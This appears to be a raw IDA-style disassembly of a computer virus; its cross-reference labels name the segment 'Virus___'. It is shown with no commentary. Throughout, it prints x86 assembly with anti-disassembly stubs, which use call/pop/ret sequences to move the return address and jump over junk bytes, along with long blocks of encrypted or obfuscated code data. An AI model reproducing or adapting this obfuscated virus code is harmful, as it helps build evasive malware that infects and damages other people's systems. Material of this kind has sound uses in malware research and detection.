		jb	loc_5ADEEE
		mov	[ebp+95D0915h],	edi


loc_5ADEEE:				; CODE XREF: Virus___:loc_5ADEE2j
		and	ebx, 43B2D3F3h
		mov	large fs:0, esp
		push	0
		push	ecx
		call	sub_5ADF06
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADF06	proc near		; CODE XREF: Virus___:005ADEFEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5ADF06	endp

; ---------------------------------------------------------------------------
		dw 9E73h
		dd 9E960C6h, 0CE000000h, 4182A327h, 7A6574Dh, 68A0Fh, 0BD890000h
		dd 95D0781h, 6985FF61h,	6A095D21h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0F189C352h
		dd 29AE9646h, 5D243D9Dh, 89FF6A09h, 5D1CB995h, 41B5FF09h
		dd 9095D17h, 5D2625BDh,	92CB8109h, 0FF2B562Fh, 5D038595h
		dd 11FE909h, 0E6BF0000h, 0B037DDB0h, 0C5BD8B00h, 0E6095D05h
		dd 0A8D0F70h, 60000000h, 85895953h, 95D12A5h, 6671E461h
		dd 3C8676BBh, 0F2830F61h, 29000000h, 5D24F98Dh,	0C8B60F09h
		dd 148F0Fh, 0FE90000h, 6D000000h, 25C5615Eh, 0C97144C3h
		dd 3280A7FEh, 6BA14CFh,	89000000h, 5D04E9BDh, 8BC18B09h
		dd 5D1511BDh, 4E8C109h,	19E5BD23h, 0F766095Dh, 5E8E2h
		dd 0D22A0000h, 33108923h, 5D1A4D9Dh, 0C82B5B09h, 99B58960h
		dd 0BF095D2Ah, 1EC1404Ch, 60D18B61h, 2B918589h,	0E181095Dh
		dd 49522F92h, 7BE961h, 8B660000h, 0D858BDEh, 1095D00h
		dd 5D319D95h, 7C08309h,	5700C083h, 7C30BF66h, 0FD03B5Fh
		dd 1E83h, 53E900h, 8E80000h, 78000000h,	6A767FDDh, 661FBA2Fh
		dd 36EBCF81h, 2585295Fh, 8B095D1Dh, 5D337D8Dh, 0B19B709h
		dd 5D31719Dh, 1E18309h,	23840Fh, 81660000h, 837090D3h
		dd 5D337DA5h, 870FFE09h, 6, 5F5BD8Bh, 9589095Dh, 95D000Dh
		dd 0E9h, 20B58D00h, 6A0960C9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 6A5FC352h, 0B195FF00h
		dd 0E9095D11h, 7, 70C0A4A7h, 0B97D637Fh, 86Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 93C35040h, 10E84Ah
		dd 60230000h, 65E11C62h, 0BD81EBC0h, 602C7D02h,	0BF0F14D5h
		dd 0E1835BDAh, 51006AFCh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0FCEA4C2Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2BC35747h, 84504BDBh
		dd 630C4BC7h, 159D8B78h, 66095D00h, 0B8F98Bh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 9C7CC357h, 0E0E91CEAh, 60EAD2BBh,	0DBD8BF9h
		dd 61095D13h, 2B55E380h, 5E8D2h, 5E5F0000h, 8902D263h
		dd 5D09319Dh, 33AD5F09h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0BECB92C3h, 3199DD5Ah, 5D2A4995h, 55006A09h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 6FFF35BBh
		dd 0C2D6EA9Eh, 21918D29h, 880D095Dh, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 6477C353h, 0FF3A9579h, 0E9547C9Ah, 8, 0C3B043B0h, 0A0EEC2E1h
		dd 919958Bh, 0B589095Dh, 95D0535h, 13498D8Bh, 8589095Dh
		dd 95D1AB1h, 0C28B50F8h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 0F58188Bh, 6ADFB7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0D3014BC3h, 57DAF381h, 0BD832DB6h
		dd 95D3169h, 54840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4506C351h
		dd 79F64E12h, 0B8h, 0F19D8B00h,	8D095D07h, 5D4D928Dh, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FFAF92EFh, 83DA8BE1h, 5D15F9BDh, 840F0009h,	4C8h, 2F19BD33h
		dd 0BD83095Dh, 95D15F9h, 0D0840F01h, 83000004h,	5D15F9BDh
		dd 860F0309h, 48Dh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 4CC35747h, 732D60D4h,	3DA614Dh, 5D245D9Dh
		dd 0BD8B5609h, 95D1711h, 6A605Fh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0A4F41CC3h, 0B42FC4FFh
		dd 11E956h, 2F3C0000h, 36FC1B7Ch, 0A5338CB1h, 2DEE9953h
		dd 669AD121h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0F9096CC3h, 0BD8B4DB1h, 95D09ADh
		dd 8B04E180h, 5D08FD9Dh, 0FC90A09h, 18184h, 0EE816000h
		dd 9B34A03h, 61E2D480h,	2C0D858Bh, 6A095Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B833B1C3h
		dd 858D444h, 0E8C8558Fh, 11h, 94A8F99Eh, 3B98FC25h, 53A66BA5h
		dd 9A70F510h, 0D8B70F77h, 6585335Fh, 0E9095D27h, 12h, 6F0043C0h
		dd 7A420349h, 0ECFC79DDh, 70223DEBh, 0E850BE21h, 8, 0CAEDC7C6h
		dd 51AFB01Fh, 0FE8h, 9ABCF800h,	2DED109Bh, 0BCD5D89Eh
		dd 6F3EC741h, 5F5B5B51h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0E170C355h
		dd 44F57C71h, 2BB8DD33h, 5D2515BDh, 0AD9D8B09h,	6A095D02h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 9CF96A10h, 0FC533AB1h, 4E8h, 1F03FF00h
		dd 5085B300h, 0BF11BF66h, 424448Bh, 28C0Fh, 0A9B30000h
		dd 4BBF008Bh, 8958737Bh, 8B042444h, 6A58F8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0A20ADCC3h
		dd 0F8B70F16h, 0FAD95FFh, 0CB80095Dh, 6485898Bh, 0FC0960A5h
		dd 224E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 12B51242h, 176A4EDEh, 68B0Fh, 8D310000h
		dd 95D1EEDh, 1CD1BD8Bh,	858B095Dh, 960A55Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 3CC35747h, 358CD323h
		dd 1800C7h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 140424h, 50400000h, 0B58BE3C3h, 960A560h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 30C35545h, 895D8D8Fh
		dd 5D03B985h, 51858B09h, 6A095D31h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 5CC6C350h
		dd 68C0F0Dh, 89000000h,	5D2B2D8Dh, 80068909h, 858B97D7h
		dd 95D2C0Dh, 0BE9h, 0A81C9B00h,	481C3B41h, 82257AFAh, 0F044689h
		dd 483h, 4BF6600h, 6060504Ch, 0BA668CB4h, 8A613A6Ch, 348961EBh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0D33F409h, 0A9BCFD88h, 0FFFE8B66h, 60A55CB5h
		dd 0FEEB8009h, 956F2C68h, 81D88BCAh, 94D32404h,	6A3589h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 2CD0DAC3h, 858D4425h, 960A564h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 7FC35646h, 7F53A386h, 1B4CEA2Ch
		dd 13E8ECh, 0EFD70000h,	0A43D4D77h, 0A5DBADE6h,	614B2A4Bh
		dd 42C56CA8h, 10E9601Ch, 0F3000000h, 645D5E71h,	6A9A85AFh
		dd 0DC81CBBh, 8B7F013Fh, 5D29999Dh, 905F6109h, 0D38B6660h
		dd 60CA8B60h, 50616161h, 10E860h, 8D050000h, 0A752DCEBh
		dd 256D5BE4h, 0A661A1BBh, 0D6B83779h, 5B277DBFh, 95FF9061h
		dd 95D0FADh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 0FFC35747h, 1E46095h
		dd 5D0FB59Dh, 9D236109h, 95D0351h, 15F985C7h, 3095Dh, 5F500000h
		dd 0A564BD83h, 0F000960h, 5884h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8910981Bh
		dd 5D1B318Dh, 69858909h, 0E9095D18h, 44h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 0DDC35545h, 422E3A5Ah
		dd 89AEE137h, 5D2A15B5h, 0C305009h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 2DC35545h, 15F9BD83h,	0F03095Dh, 3FF85h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0F916D990h, 838E5E70h, 60A564BDh, 840F0009h
		dd 3D0h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0A6C35545h, 64B5FF3Dh, 6A0960A5h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2691C357h
		dd 9A6FBB3Bh, 8114F5CCh, 0EEECA6D7h, 4195FF6Bh,	6A095D0Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0BCE8C357h, 8DEFED6Ah, 0B589643Dh, 95D2A45h
		dd 8E3214BFh, 58B58B49h, 660960A5h, 6C7F98Bh, 10001h, 1089B529h
		dd 5096095Dh, 2810F52h,	0B3000000h, 50310FB8h, 507EBB52h
		dd 310F0BF5h, 585A585Ah, 96DA8B50h, 3129BD8Bh, 0B5FF095Dh
		dd 960A564h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	55C35343h, 2824E06Ch, 5E9C7h, 0E4FD0000h, 0FFFD7C39h
		dd 5D05FD95h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0EAA87FEFh, 9D1CDE30h, 8D099D02h
		dd 95D2701h, 0A558B58Bh, 6A0960h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 895E85C3h, 8B8F8305h
		dd 5D304D85h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 2B388238h, 0C48689h, 958B0000h, 95D0919h
		dd 0CDBD8B60h, 0BB095D07h, 6EE1D8A0h, 4C28361h,	6820Fh
		dd 0BD010000h, 95D2531h, 0E9205089h, 0Bh, 91921112h, 0B69B70DCh
		dd 8DF6B8A5h, 60BBC185h, 89858909h, 89095D10h, 0B886h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0CA9C5C27h, 6A3D28h, 66D0C381h, 0B5FF64D3h
		dd 960A564h, 0FFDE8B66h, 5D14C995h, 3DBD8B09h, 96095D12h
		dd 0F5007B7h, 1C84h, 0E8525000h, 10h, 39D3BE22h, 9E226BC1h
		dd 0CD4D867h, 0ABE2E03Ah, 5A310F5Bh, 6A9658h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8C0F37C3h
		dd 6, 2299BD29h, 0B5FF095Dh, 960A564h, 0E880Fh,	89600000h
		dd 5D1CED95h, 5D9D8909h, 61095D13h, 137D95FFh, 0BD8B095Dh
		dd 95D2491h, 19D1BD83h,	0F00095Dh, 3B84h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0E60F5A00h, 0DE1F3816h, 0F38166F1h, 0B70FDD29h, 8B6096D9h
		dd 8B5061F0h, 0BD3396F9h, 95D2379h, 0A564B5FFh,	6A0960h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0A4342C3h, 5499D8Bh,	800F095Dh, 2, 95FFD88Bh, 95D2F95h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 18C35343h
		dd 68F0Fh, 95890000h, 95D0B45h,	8B0Fh, 0B5FF0000h, 960A564h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 94C35747h
		dd 0C1364C97h, 8B660D4Ah, 9595FFDEh, 0E9095D17h, 0Ch, 934341A0h
		dd 0D7ADAAB4h, 902C4DD4h, 0B11BD83h, 0F02095Dh,	2E84h
		dd 0CD958900h, 8B095D24h, 5D221585h, 0DE95209h,	0A4000000h
		dd 3C87EE53h, 56B9AF28h, 91D4CB80h, 0C65Bh, 6E9h, 785F1A00h
		dd 0C7ABC179h, 5D054585h, 9, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FE4E801h
		dd 386h, 0DF8B6600h, 68E0Fh, 9D8B0000h,	95D0795h, 0FFF334E9h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 9BAC4500h, 49AB6F72h, 8531AB97h,	95D30E5h
		dd 13E9h, 4C638000h, 58E98482h,	2F427687h, 0CF94BA22h
		dd 2FBC9BC6h, 0C18BD98Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 34C35040h, 0F4E831ADh, 0F92CDE40h, 2239858Dh
		dd 8166095Dh, 903108CBh, 5350F88Bh, 6E9h, 0F2D5EE00h, 5BF79888h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 1DC80C42h, 0BD312745h, 95D0A4Dh,	7E9006Ah
		dd 95000000h, 3B3EFBB5h, 6A5753h, 1939BD8Bh, 858D095Dh
		dd 961433Dh, 14E9h, 7656E00h, 7EF6CD0Fh, 0C606C6E0h, 612B0D5Ch
		dd 80E62188h, 5C0833Bh,	11AD9501h, 8A50095Dh, 240489DCh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D4C35141h
		dd 41789750h, 0AE9F0EBh, 99000000h, 0BDEFDD68h,	232FC9D0h
		dd 6A006A54h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 293DC350h, 5D194195h, 6A006A09h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0E8B1C357h, 36BF6674h, 0FFDE8B70h, 5D085195h
		dd 0C3816609h, 8D8D1DEEh, 960914Ch, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 31C35242h, 5C48BEC9h, 6CFA22EFh
		dd 0FFFEBF0Fh, 51006AD1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 71BD83B0h, 1095D09h, 6F850Fh
		dd 0BD8B0000h, 95D26DDh, 6A026Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0B3405BC3h, 0DE8B9002h
		dd 28D0F50h, 8B000000h,	6A90DEh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 77CE94C3h, 0CACFE8E2h
		dd 0AD8D8979h, 89095D22h, 5D058DB5h, 0C995FF09h, 29095D14h
		dd 5D2A0D85h, 0E50E909h, 0E80000h, 5D000000h, 4347ED81h
		dd 6A0961h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 80041DC3h, 12E9A9h, 0E9000000h, 0CD4F7FACh
		dd 0CF6957B6h, 0DA2D9145h, 0F506C799h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 5DC35646h, 3CB2D88h, 858D63C4h
		dd 9608AE2h, 0A08ADF81h, 0F903446h, 0C8Dh, 6890F00h, 0F000000h
		dd 88h,	0BABB5000h, 9004DD7Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 80C35545h
		dd 18A06806h, 0A29CB46Dh, 0ED9D0B28h, 8A095D2Bh, 35FF64D8h
		dd 0
; ---------------------------------------------------------------------------
		or	bh, 0D2h
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5AEF45
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEF45	proc near		; CODE XREF: Virus___:005AEF3Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5AEF45	endp

; ---------------------------------------------------------------------------
		push	eax
		sahf
		add	eax, 512644D2h
		pusha
		movsx	edx, si
		mov	edx, [ebp+95D249Dh]
		popa
		pop	ebx
		inc	dword ptr [ebp+95D2169h]
		push	0
		push	ecx
		call	sub_5AEF79
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEF79	proc near		; CODE XREF: Virus___:005AEF71p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5AEF79	endp

; ---------------------------------------------------------------------------
		pop	ds
		sub	dword ptr [ecx+6A397B64h], 0FFFFFFFFh
		movzx	ebx, cx
		push	dword ptr [ebp+95D1871h]
		push	0
		push	edi
		call	sub_5AEFA5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEFA5	proc near		; CODE XREF: Virus___:005AEF9Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5AEFA5	endp

; ---------------------------------------------------------------------------
		db 0F5h, 0DAh, 91h
; ---------------------------------------------------------------------------
		mov	[ebp+95D1971h],	edi
		mov	[ebp+95D0785h],	edi
		call	dword ptr [ebp+95D0385h]
		jmp	loc_5AF0F9
; ---------------------------------------------------------------------------
		db 0BBh
		dd 6D71DB93h, 816600B0h, 0E6308CC7h, 0FD8D8970h, 0E4095D12h
		dd 9DB52971h, 3C095D02h, 6830F61h, 89000001h, 5D130D9Dh
		dd 0C8B60F09h, 1880Fh, 0BAF80000h, 6, 0FE8h, 799AEA00h
		dd 0F92DB6B3h, 0B95DA55Dh, 2E624A14h, 8B5BFA8Bh, 0C180B7C1h
		dd 8B6604E8h, 0E2F766FEh, 0E0D78166h, 0FC82B71h, 8Ah, 66D18B00h
		dd 66E7F781h, 0B4E9h, 458D8900h, 50095D1Fh, 0FE9h, 1C4CE500h
		dd 0EA1FE4ABh, 7D80185Dh, 0F4976CD2h, 45858B5Fh, 81095D19h
		dd 2084F0F7h, 7C08314h,	8344C780h, 12E900C0h, 2F000000h
		dd 0E09B0A27h, 9F39D93Dh, 81486926h, 9EBD657Ch,	0FD03B68h
		dd 1183h, 5FE900h, 8E0F0000h, 6, 4218D01h, 8D8B095Dh, 95D153Dh
		dd 10159D8Bh, 0E183095Dh, 3E840F01h, 0E9000000h, 0Fh, 0F354577Bh
		dd 95187898h, 7F960953h, 83371A09h, 5D153DA5h, 8E9FE09h
		dd 0F3000000h, 5E4074A9h, 89E4351Eh, 5D194595h,	6E909h
		dd 8C800000h, 19FBCED0h, 0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AF0F9:				; CODE XREF: Virus___:005AEFCAj
		lea	esi, [ebp+960D2FFh]
		push	0
		push	esi
		call	sub_5AF10A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF10A	proc near		; CODE XREF: Virus___:005AF102p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5AF10A	endp

; ---------------------------------------------------------------------------
		dw 9C2Eh
; ---------------------------------------------------------------------------
		cld
		mov	eax, ds:8B79765Ch
		mov	ebp, 95D0751h
		push	0
		push	0
		push	ebp
		call	sub_5AF134
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF134	proc near		; CODE XREF: Virus___:005AF12Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5AF134	endp

; ---------------------------------------------------------------------------
		mov	esp, 959582EFh
		dec	esi
		ja	short loc_5AF1AE
		fst	dword ptr [eax]
		jmp	loc_5AF162
; ---------------------------------------------------------------------------
		db 0DAh
		dd 50C2BBF0h, 0CCACC8B5h, 5BB71547h
; ---------------------------------------------------------------------------
		mov	dh, 65h


loc_5AF162:				; CODE XREF: Virus___:005AF14Ej
		call	dword ptr [ebp+95D11B1h]
		push	0
		push	esi
		call	sub_5AF173
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF173	proc near		; CODE XREF: Virus___:005AF16Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5AF173	endp

; ---------------------------------------------------------------------------
		or	eax, 88848EBFh
		or	esp, [esi-75h]
		fidivr	word ptr [ecx+8FEh]
		push	0
		push	edi
		call	sub_5AF19C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF19C	proc near		; CODE XREF: Virus___:005AF194p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5AF19C	endp

; ---------------------------------------------------------------------------
		db 9Fh,	31h
; ---------------------------------------------------------------------------


loc_5AF1AE:				; CODE XREF: Virus___:005AF14Aj
		dec	edx
		popf
		adc	bh, bl
		lodsb
		jl	loc_5AF1BF
		xor	ebx, [ebp+95D241Dh]


loc_5AF1BF:				; CODE XREF: Virus___:005AF1B3j
		mov	[ebp+95D0AE5h],	eax
		and	ecx, 0FFFFFFFCh
		push	0
		push	edx
		call	sub_5AF1D3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF1D3	proc near		; CODE XREF: Virus___:005AF1CBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5AF1D3	endp

; ---------------------------------------------------------------------------
		and	al, 0FEh
		aam	9Ah
		retn
; ---------------------------------------------------------------------------
		shr	dword ptr [ebx+esi*4+6AFC3Ah], cl
		push	esi
		call	sub_5AF1F8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF1F8	proc near		; CODE XREF: Virus___:005AF1F0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5AF1F8	endp

; ---------------------------------------------------------------------------
		dd 0A6B36913h, 0E89B696Bh, 0Eh,	0EC9182D3h, 28D55C2Eh
		dd 4C8E83CEh, 5FF5FCFFh, 6AC02Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0AF4421C3h, 0BA7BFE5h
		dd 12E918C7h, 1D000000h, 5829BEB8h, 4CDDDFC7h, 2A9AC574h
		dd 0B65E68C4h, 0ED8529A2h, 0BA095D2Bh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5AF277
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF277	proc near		; CODE XREF: Virus___:005AF26Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5AF277	endp

; ---------------------------------------------------------------------------
		db 0EDh
		dd 7EE77D1Fh, 0F380F867h, 0C233AD0Ah, 0D003E8D1h, 7504E983h
		dd 2D9D33F4h, 0D095D03h, 88h, 0F1F1DF81h, 958B3DA1h, 95D0919h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0FC35545h
		dd 4C95E381h, 8D8B64C4h, 95D1349h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0F3C35545h,	0B19D8B6Bh, 50095D27h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	91AB758h
		dd 5D003595h, 20BB6609h, 69BD837Ch, 95D31h, 72840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 3B37CCC3h, 0B86BFAh,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8DCFC351h
		dd 5D4D928Dh, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0BBDB5F33h, 3D10AB71h, 9501E1FFh
		dd 95D2B75h, 15F9BD83h,	0F00095Dh, 43584h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0F9BD8321h, 1095D15h, 427840Fh, 8C0F0000h, 6, 3A19589h
		dd 0BD83095Dh, 95D15F9h, 0D8860F03h, 6A000003h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 3FAFC355h, 81BC95F3h, 6A6068h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0BFD5ADC3h, 1420F6D7h
		dd 14DDBD8Bh, 0CEBB095Dh, 66325B1Eh, 6AD98Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 79CC5EC3h
		dd 0AFCE3CEDh, 0E1802BCFh, 0F8606004h, 4018D89h, 6061095Dh
		dd 8919D8Bh, 0BD8B095Dh, 95D139Dh, 0C90A6161h, 130840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 8A851FC3h, 0FC4AC00h, 688h, 0B5B50900h, 8B095D23h
		dd 5D2C0D85h, 8E909h, 63880000h, 993E69D4h, 85334CA3h
		dd 95D2765h, 90EBC380h,	0DE950h, 95990000h, 93BF31DAh
		dd 0CAB4F3B0h, 90704D50h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 9CC35747h, 0D75D639Fh, 5241F204h, 890F56h
		dd 5F000000h, 0FB8B665Fh, 880Fh, 6A0000h, 27AD9509h, 9531095Dh
		dd 95D0391h, 0E3BFDC68h, 240481B1h, 4E3B4423h, 95FFDA8Bh
		dd 95D0FADh, 9758D29h, 8589095Dh, 960A564h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0DBC35242h, 677F5403h
		dd 79BD01A3h, 0E9095D31h, 12h, 1CDCDDEFh, 22B05C1Bh, 0D4106CA5h
		dd 0A1F99904h, 0F0E947B7h, 6A000001h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0EF62C356h
		dd 3BC4F88h, 89509247h,	5D0F1195h, 858B5F09h, 960A55Ch
		dd 24A59D09h, 0C7095Dh,	18h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0BBC35242h,	89670699h, 5D14F58Dh
		dd 1BD8B09h, 8B095D06h,	60A560B5h, 0AE809h, 267A0000h
		dd 130FCD1Eh, 1C211EB2h, 518589h, 8B5B095Dh, 5D315185h
		dd 52006A09h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 800689A9h, 858B5AEBh, 95D2C0Dh, 96C78166h
		dd 99BD0360h, 89095D31h, 8C0F0446h, 17h, 0BE8h,	0A10AD500h
		dd 2E8F7BA2h, 0A997073Dh, 8B0Fh, 965F0000h, 14880Fh, 0FE90000h
		dd 0EB000000h, 0B00F54D3h, 43D28A3Fh, 86C5B89Ah, 60506449h
		dd 525098B3h, 6E8310Fh,	93000000h, 7C24E452h, 585A5ABEh
		dd 8D099661h, 95D32DDh,	0A55CB5FFh, 6A0960h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 6408A7C3h
